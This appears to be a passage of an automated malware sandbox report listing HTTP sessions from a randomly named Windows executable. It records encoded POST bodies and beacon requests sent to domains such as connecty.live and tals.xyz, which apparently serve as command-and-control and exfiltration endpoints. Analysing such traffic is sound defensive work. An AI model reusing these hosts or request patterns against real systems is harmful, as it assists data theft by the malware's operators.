Nov 24, 2024 08:11:34.426321983 CET	462	OUT	GET /cm9a/?etx=BXy4elO0X&3vNdCBvX=AvN42DnS9Qw3kn1S+XKBV+xTI9DBYK88wu7Mj7dY/pRaa7659YJNcYiJunyE7nDkkRGZb81LCaJ1YXfnfuSvqBbKt/3mV1eMDkmtL8V6ExRSF03F7PAG84A= HTTP/1.1 Host: www.prhmcjdz.tokyo Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:11:36.002583027 CET	427	IN	HTTP/1.1 200 Server: nginx Date: Sun, 24 Nov 2024 07:11:35 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Cache: MISS Data Raw: 35 34 0d 0a 7b 22 6d 73 67 22 3a 22 e8 af b7 e6 b1 82 e8 ae bf e9 97 ae ef bc 9a 2f 63 6d 39 61 2f ef bc 8c e8 ae a4 e8 af 81 e5 a4 b1 e8 b4 a5 ef bc 8c e6 97 a0 e6 b3 95 e8 ae bf e9 97 ae e7 b3 bb e7 bb 9f e8 b5 84 e6 ba 90 22 2c 22 63 6f 64 65 22 3a 34 30 31 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 54{"msg":"/cm9a/","code":401}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49991	203.161.43.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:41.601778984 CET	725	OUT	POST /6urf/ HTTP/1.1 Host: www.connecty.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.connecty.live Referer: http://www.connecty.live/6urf/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 6f 38 49 55 46 49 37 62 6f 6d 4b 4d 47 2b 70 70 4d 39 34 72 31 6e 45 71 72 42 63 55 78 79 66 36 2b 6c 41 68 35 71 37 37 56 42 35 37 56 51 6c 49 43 6e 4a 54 63 71 52 32 39 68 56 55 30 51 6c 4f 51 64 52 4e 30 44 54 79 49 79 55 48 45 54 77 52 76 64 6a 64 31 76 49 48 39 54 52 52 64 35 34 32 69 6e 36 4b 4a 36 4b 54 61 66 31 63 76 37 58 31 49 2f 65 49 67 75 4f 33 6e 70 79 37 33 59 78 78 30 34 53 41 6d 52 36 46 50 45 4b 76 4e 4d 44 41 46 46 45 4f 70 68 4b 6b 6a 6e 38 33 76 35 79 6e 65 51 66 6f 68 6e 35 78 6d 53 68 56 43 39 55 51 7a 52 4a 4c 32 47 43 76 62 74 70 6e 33 57 58 6c 4b 51 3d 3d Data Ascii: 3vNdCBvX=o8IUFI7bomKMG+ppM94r1nEqrBcUxyf6+lAh5q77VB57VQlICnJTcqR29hVU0QlOQdRN0DTyIyUHETwRvdjd1vIH9TRRd542in6KJ6KTaf1cv7X1I/eIguO3npy73Yxx04SAmR6FPEKvNMDAFFEOphKkjn83v5yneQfohn5xmShVC9UQzRJL2GCvbtpn3WXlKQ==
Nov 24, 2024 08:11:42.908219099 CET	658	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:11:42 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49997	203.161.43.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:44.343024969 CET	745	OUT	POST /6urf/ HTTP/1.1 Host: www.connecty.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.connecty.live Referer: http://www.connecty.live/6urf/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 6f 38 49 55 46 49 37 62 6f 6d 4b 4d 48 64 78 70 4b 65 51 72 6b 58 45 74 68 68 63 55 2f 53 66 2b 2b 6c 45 68 35 76 4c 72 56 55 70 37 57 78 56 49 44 69 31 54 66 71 52 32 32 42 56 52 36 77 6c 56 51 64 63 36 30 42 48 79 49 79 77 48 45 57 4d 52 73 75 62 53 36 66 49 46 32 7a 52 70 44 4a 34 32 69 6e 36 4b 4a 36 65 31 61 66 64 63 73 4c 6e 31 4a 62 4b 50 6a 75 4f 32 67 70 79 37 7a 59 78 31 30 34 54 6c 6d 51 6d 72 50 42 47 76 4e 4d 54 41 45 55 45 52 38 78 4c 4f 74 48 39 42 75 62 48 73 48 6b 47 47 68 68 31 44 75 52 68 70 4b 62 5a 4b 69 67 6f 63 6b 47 6d 63 47 71 67 54 36 56 71 73 52 65 4e 69 70 55 39 53 74 72 48 6b 72 39 4a 36 49 72 7a 64 7a 67 63 3d Data Ascii: 3vNdCBvX=o8IUFI7bomKMHdxpKeQrkXEthhcU/Sf++lEh5vLrVUp7WxVIDi1TfqR22BVR6wlVQdc60BHyIywHEWMRsubS6fIF2zRpDJ42in6KJ6e1afdcsLn1JbKPjuO2gpy7zYx104TlmQmrPBGvNMTAEUER8xLOtH9BubHsHkGGhh1DuRhpKbZKigockGmcGqgT6VqsReNipU9StrHkr9J6Irzdzgc=
Nov 24, 2024 08:11:45.590243101 CET	658	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:11:45 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50004	203.161.43.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:47.008352995 CET	10827	OUT	POST /6urf/ HTTP/1.1 Host: www.connecty.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.connecty.live Referer: http://www.connecty.live/6urf/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 6f 38 49 55 46 49 37 62 6f 6d 4b 4d 48 64 78 70 4b 65 51 72 6b 58 45 74 68 68 63 55 2f 53 66 2b 2b 6c 45 68 35 76 4c 72 56 58 4a 37 57 47 39 49 46 46 68 54 65 71 52 32 2f 68 56 51 36 77 6b 48 51 64 55 32 30 42 62 49 49 30 30 48 48 30 30 52 37 76 62 53 74 76 49 46 35 54 52 53 64 35 35 2b 69 6e 71 4f 4a 36 4f 31 61 66 64 63 73 4a 2f 31 5a 2f 65 50 6c 75 4f 33 6e 70 79 2f 33 59 78 4e 30 34 71 59 6d 51 79 56 50 31 36 76 4e 74 6a 41 48 69 34 52 68 42 4c 4d 67 6e 39 4a 75 62 62 6a 48 6c 75 67 68 68 6f 65 75 57 52 70 50 61 77 67 33 51 30 49 79 6b 4f 68 66 4c 55 69 78 6e 47 57 51 74 64 4a 35 45 39 48 2b 35 37 47 6a 36 78 77 4e 4c 66 75 6e 45 63 76 64 68 79 55 66 4c 69 57 4d 35 32 57 59 44 43 6e 32 51 54 47 48 66 37 4c 66 38 59 47 76 4c 6d 37 58 72 54 63 73 42 4d 38 61 32 71 6e 31 50 4f 69 39 51 6b 34 36 2f 33 70 67 38 6b 4c 76 4d 6d 78 6b 67 38 33 47 2f 4e 74 78 61 6e 77 4f 53 37 45 49 51 74 34 4a 6d 68 58 2f 54 48 74 72 6f 4b 6f 36 6e 31 70 39 61 58 34 42 33 72 69 37 53 61 5a 72 [TRUNCATED] Data Ascii: 3vNdCBvX=o8IUFI7bomKMHdxpKeQrkXEthhcU/Sf++lEh5vLrVXJ7WG9IFFhTeqR2/hVQ6wkHQdU20BbII00HH00R7vbStvIF5TRSd55+inqOJ6O1afdcsJ/1Z/ePluO3npy/3YxN04qYmQyVP16vNtjAHi4RhBLMgn9JubbjHlughhoeuWRpPawg3Q0IykOhfLUixnGWQtdJ5E9H+57Gj6xwNLfunEcvdhyUfLiWM52WYDCn2QTGHf7Lf8YGvLm7XrTcsBM8a2qn1POi9Qk46/3pg8kLvMmxkg83G/NtxanwOS7EIQt4JmhX/THtroKo6n1p9aX4B3ri7SaZrjxmgR9HuJlhyRLBMPto1/8EmVgusiYkTKlSe7tavS1iUiACpC17HpPdFixIhTbN6LWMyU4iKHTj/+Svrf7d+lIjvYKEu2rLwHIJP+Octya2Kb7ctDnJuv9ayVRJZD97zxvP818bld68mU0alAuPI0e+2dUkaVr+IwcLk0ehqtbdetzSm0xLjD5Vp+CxFGmk/1oinVboNPL7haKkw69V6VhhO+TcBhZANAzTNz4QH4fq9Z8jxRoCN8QL8Qvq3qvXLk1rI4rDwnI3/w2g5uES/eXpfeBNxThbI3uYthQNtmRqdNfh1l926UsiurUCqE5cXcCVrrz3nW/cRfCNCecq92JXYGj12juMtFOBj8QHllej5aMT7qnOnDoOGzEjeAPSiR+yvvBW8wEJzHME6tmubhkmXbNxcYzBWRhAct/LE6DPeqsVvnNv+vDsRZrliJrX4FHjjMv5UB/ly/j4DTAwlxE5hluFq9mXhfW65rvMioNc+Mm+Fb5dDAs/c6xn9Qu/0PJt81UGmmTJzRY3MIs8ItHORa2RmLytuYwU8Sl2GCp75m5gDzS75AjCnqxfda1ZFvE2JH2lpcojITJj/PiK2xud9FOksWqglPC5mbMRza+m6Qdr8ICOXmMvv+eEWTgvXKcrWrfrpN8832n6Z6IALh0VMb/Dujm518S [TRUNCATED]
Nov 24, 2024 08:11:48.403644085 CET	658	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:11:48 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50010	203.161.43.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:49.674581051 CET	461	OUT	GET /6urf/?3vNdCBvX=l+g0G83zvX30P9FiLKUhk1gZnSMwjxKGmxU2wY32UHo7SRAzM3NVc5Nn4wkj2AVHW/hBkkPychobZjIg4/uR6e8+1gk4cvE7j0i5NK3NPPZTmYTXI7istro=&etx=BXy4elO0X HTTP/1.1 Host: www.connecty.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:11:50.893698931 CET	673	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:11:50 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50026	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:56.549448967 CET	710	OUT	POST /cpgr/ HTTP/1.1 Host: www.tals.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.tals.xyz Referer: http://www.tals.xyz/cpgr/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 2f 57 6e 35 7a 4e 57 6c 30 6e 53 61 6f 56 72 77 57 45 30 4a 73 45 72 69 38 42 4e 50 76 37 67 48 4e 70 2f 77 6b 65 4c 72 44 56 47 30 4e 4a 74 36 2f 5a 45 4c 49 69 73 57 7a 67 35 76 52 4e 47 57 4f 74 75 4d 6b 64 79 31 51 63 71 39 6f 4c 6f 38 75 46 4b 5a 51 51 6a 31 76 6e 4d 6d 79 57 47 45 52 56 31 6b 52 47 50 39 50 57 2b 49 50 69 56 37 4d 4b 76 53 52 39 43 35 38 45 75 48 4f 69 71 75 64 31 50 4a 74 70 51 49 65 57 2f 63 74 6d 62 71 78 41 71 6d 49 61 4d 58 4b 32 44 75 34 67 31 52 57 68 4a 6d 58 50 43 66 36 73 34 6b 63 78 38 48 34 42 54 66 56 54 70 4f 6f 52 75 57 55 5a 78 66 50 41 3d 3d Data Ascii: 3vNdCBvX=/Wn5zNWl0nSaoVrwWE0JsEri8BNPv7gHNp/wkeLrDVG0NJt6/ZELIisWzg5vRNGWOtuMkdy1Qcq9oLo8uFKZQQj1vnMmyWGERV1kRGP9PW+IPiV7MKvSR9C58EuHOiqud1PJtpQIeW/ctmbqxAqmIaMXK2Du4g1RWhJmXPCf6s4kcx8H4BTfVTpOoRuWUZxfPA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50032	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:59.213794947 CET	730	OUT	POST /cpgr/ HTTP/1.1 Host: www.tals.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.tals.xyz Referer: http://www.tals.xyz/cpgr/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 2f 57 6e 35 7a 4e 57 6c 30 6e 53 61 6e 55 62 77 52 58 4d 4a 71 6b 72 6a 35 42 4e 50 6b 62 67 44 4e 70 7a 77 6b 62 76 37 44 6d 69 30 4e 73 4a 36 77 39 6f 4c 4a 69 73 57 34 41 35 32 66 74 47 4e 4f 74 69 71 6b 5a 36 31 51 59 43 39 6f 4b 59 38 74 79 65 61 43 51 6a 7a 69 48 4d 6b 74 6d 47 45 52 56 31 6b 52 47 72 62 50 57 57 49 50 53 6c 37 4d 72 76 64 66 64 43 36 31 6b 75 48 4b 69 71 71 64 31 50 4f 74 6f 38 75 65 55 48 63 74 6b 44 71 78 52 71 6e 47 61 4d 64 46 57 43 44 35 44 4d 42 51 6a 63 41 4a 4d 79 4c 33 59 49 54 51 58 78 64 70 77 79 49 48 54 4e 39 31 57 6e 69 5a 61 4d 57 55 44 47 66 2f 77 78 72 4d 6d 53 5a 68 54 56 32 37 38 63 39 35 73 41 3d Data Ascii: 3vNdCBvX=/Wn5zNWl0nSanUbwRXMJqkrj5BNPkbgDNpzwkbv7Dmi0NsJ6w9oLJisW4A52ftGNOtiqkZ61QYC9oKY8tyeaCQjziHMktmGERV1kRGrbPWWIPSl7MrvdfdC61kuHKiqqd1POto8ueUHctkDqxRqnGaMdFWCD5DMBQjcAJMyL3YITQXxdpwyIHTN91WniZaMWUDGf/wxrMmSZhTV278c95sA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50033	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:01.885327101 CET	10812	OUT	POST /cpgr/ HTTP/1.1 Host: www.tals.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.tals.xyz Referer: http://www.tals.xyz/cpgr/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 2f 57 6e 35 7a 4e 57 6c 30 6e 53 61 6e 55 62 77 52 58 4d 4a 71 6b 72 6a 35 42 4e 50 6b 62 67 44 4e 70 7a 77 6b 62 76 37 44 6d 71 30 4e 36 56 36 78 63 6f 4c 4b 69 73 57 37 41 35 7a 66 74 47 41 4f 73 4b 32 6b 5a 32 6c 51 61 4b 39 36 35 51 38 36 33 69 61 49 51 6a 7a 2b 33 4d 6c 79 57 48 4f 52 57 64 6f 52 47 62 62 50 57 57 49 50 55 4a 37 63 71 76 64 53 39 43 35 38 45 75 62 4f 69 71 43 64 31 58 42 74 6f 49 59 65 6c 6e 63 74 45 54 71 77 6a 53 6e 5a 71 4d 62 47 57 43 62 35 43 78 62 51 6a 41 62 4a 4d 32 68 33 66 34 54 42 51 30 46 79 52 47 48 52 77 68 47 31 56 44 34 59 49 4d 57 4d 51 79 7a 37 68 74 41 50 57 57 56 6b 45 45 74 71 76 51 51 6f 35 57 34 30 41 57 4f 6b 39 44 7a 63 50 43 36 4f 6a 4e 69 48 47 52 6a 4b 76 55 2f 72 74 2b 4e 64 41 6a 52 52 2b 7a 4f 59 78 74 4d 47 6e 78 63 61 54 71 53 44 31 69 59 59 2b 71 42 36 71 77 5a 2b 37 49 4f 65 42 37 7a 2f 72 66 46 34 4f 48 70 76 74 61 76 6a 62 2b 77 68 31 4b 73 4f 61 5a 4f 74 31 36 43 54 6c 30 50 61 54 42 65 79 4d 6d 7a 36 36 5a 4e 6b [TRUNCATED] Data Ascii: 3vNdCBvX=/Wn5zNWl0nSanUbwRXMJqkrj5BNPkbgDNpzwkbv7Dmq0N6V6xcoLKisW7A5zftGAOsK2kZ2lQaK965Q863iaIQjz+3MlyWHORWdoRGbbPWWIPUJ7cqvdS9C58EubOiqCd1XBtoIYelnctETqwjSnZqMbGWCb5CxbQjAbJM2h3f4TBQ0FyRGHRwhG1VD4YIMWMQyz7htAPWWVkEEtqvQQo5W40AWOk9DzcPC6OjNiHGRjKvU/rt+NdAjRR+zOYxtMGnxcaTqSD1iYY+qB6qwZ+7IOeB7z/rfF4OHpvtavjb+wh1KsOaZOt16CTl0PaTBeyMmz66ZNkW28YPurLQ98OMOaPq8cYmgJQ6qdetXz0rTPIRxCF7+h/+bSYuz3NENHY9EBx+TMDhQAoyVS/NzoEyiRAZ+t0mU5PXp+sHbZU4vHXJ/urM6hrUgMvwTgJRXfinsgcTLcUi2lCLLJDIWUXZZx98k0J2x+xfTt0MtPmNE1EpDJoP9J5wpTpEYnELE3ObvN8PzXcNZ8GvSb2RI18qYfp1/rU/WcMTC4wumXKAEsfV07ZRHpJOycNRCxIslNPJZiAU+wpZC5Wsnbp1PKDnTH5KJOYEXYJPMXH0Znz5VXZtJC/DLybYxNKrdfc5ZwW8kfguDfka4Z1i1UsOJ19dJ5tf59+pAUAF2X5hSYH/HZuw/0BsWgEU9f+lzwHWylK0DaNFEWnE4RAgj7YJTIFABktioGiBd/dk0Y0WWRf/drvtG/OjdEwUo11Fon2UGYLIakbcrzUqPbeeltz6kv7ad9T6aJJqeOl6Ka1LRihblNuCAdSRwBbeo4JnQ3QDMakklhJXWQfqATd2djIrCH9GNoXh1k5caKxwtWeCZ4prNi4Ems0C5Nn/dh/N3Gn2FaTQu8XrY6Fi9adMonZkMbUGYufVWG14gj4tIC/+5hCeU4/7LlDCELQADEibtZJVSeQP+o8SDFPgKa5Jd6JxhpkZrQO/acdxzROIyaw1BPTCg [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50034	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
